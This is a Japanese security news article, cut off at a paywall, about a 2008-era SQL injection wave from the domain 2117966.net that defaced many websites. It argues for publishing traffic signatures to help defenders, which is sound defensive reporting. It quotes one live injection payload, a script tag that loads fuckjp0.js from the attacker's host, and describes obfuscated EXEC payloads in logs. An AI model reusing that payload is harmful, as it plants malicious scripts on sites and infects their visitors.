3月12日ころに発生した中国からのSQLインジェクション攻撃の急増事件。何万件ものWebサイトが改ざんされたことは,前号で述べた通りである。

 この攻撃は,「2117966.net」から仕掛けられたため,DNSの正引きで返ってくるIPアドレスに注目が集まった。「2117966.net」からの通信を遮断すれば,攻撃から逃れられるためである。

 ただ,これは根本的な解決にはならない。実際,2117966.net騒ぎに乗じた犯行にも思えるが,同時期に中国の別のIPアドレスからiframeタグ挿入の攻撃が発生していた。SQL Serverへの侵入も確認されている。

 にもかかわらず,多くの注意喚起では主に,エンドユーザー向けとして

(1)攻撃元からの通信のブロック
(2)JavaScriptの無効化
Webサイト向けとして
(3)Webアプリケーションのソースコードの改修

というように,緊急事態の割には中途半端な対応策が目立っていた。もっと知らせるべきことがあったのではないだろうか。例えば攻撃トラフィックの内容や,攻撃トラフィックを見付け出すための検索キーワードを公開していれば,組織内での対応方法が,より明確になったはずである。

不正入力はアクセス・ログに痕跡残る

 というのも,この攻撃の特徴の一つは,SQLインジェクションを実行する際のトラフィックにあるからだ。ブラウザから入力されるデータを見れば,ある程度攻撃を見分けられる。

 今回の攻撃で言えば,SQLインジェクションでWebページに埋め込まれたのは「fuckjp0.jsという名の悪意あるスクリプト」を呼び出すための<SCRIPT>タグである。入力データには,「<script src=http://www.2117966.net/fuckjp0.js></script>」という文字列が含まれていたはずだ。

 図1は実際に2117966.netから攻撃されたWebサイトのアクセス・ログである。これを見ると分かるように,SQLインジェクションの際に送られた攻撃コードは判読できない状態(図1の例は16進数コード)に変換されている。図1の右下にある「EXEC」という文字列から,かろうじて,何らかのコードを実行しているのだろうと見当は付くが,詳細な内容は全く分からない。こうした操作を「難読化」という。最近の攻撃では,IDS/IPS(侵入検知/防御システム)などのセキュリティ機器を突破するために,このように攻撃コードを難読化する方法が一般化しつつある。

図1●中国(2117966.net)からのSQLインジェクション攻撃のアクセス・ログ
攻撃コードが記録されているが,意味が分からない文字列に変換(難読化)されている。
[画像のクリックで拡大表示]

この先は会員の登録が必要です。有料会員(月額プラン)は初月無料!

日経 xTECHには有料記事(有料会員向けまたは定期購読者向け)、無料記事(登録会員向け)、フリー記事(誰でも閲覧可能)があります。有料記事でも、登録会員向け配信期間は登録会員への登録が必要な場合があります。有料会員と登録会員に関するFAQはこちら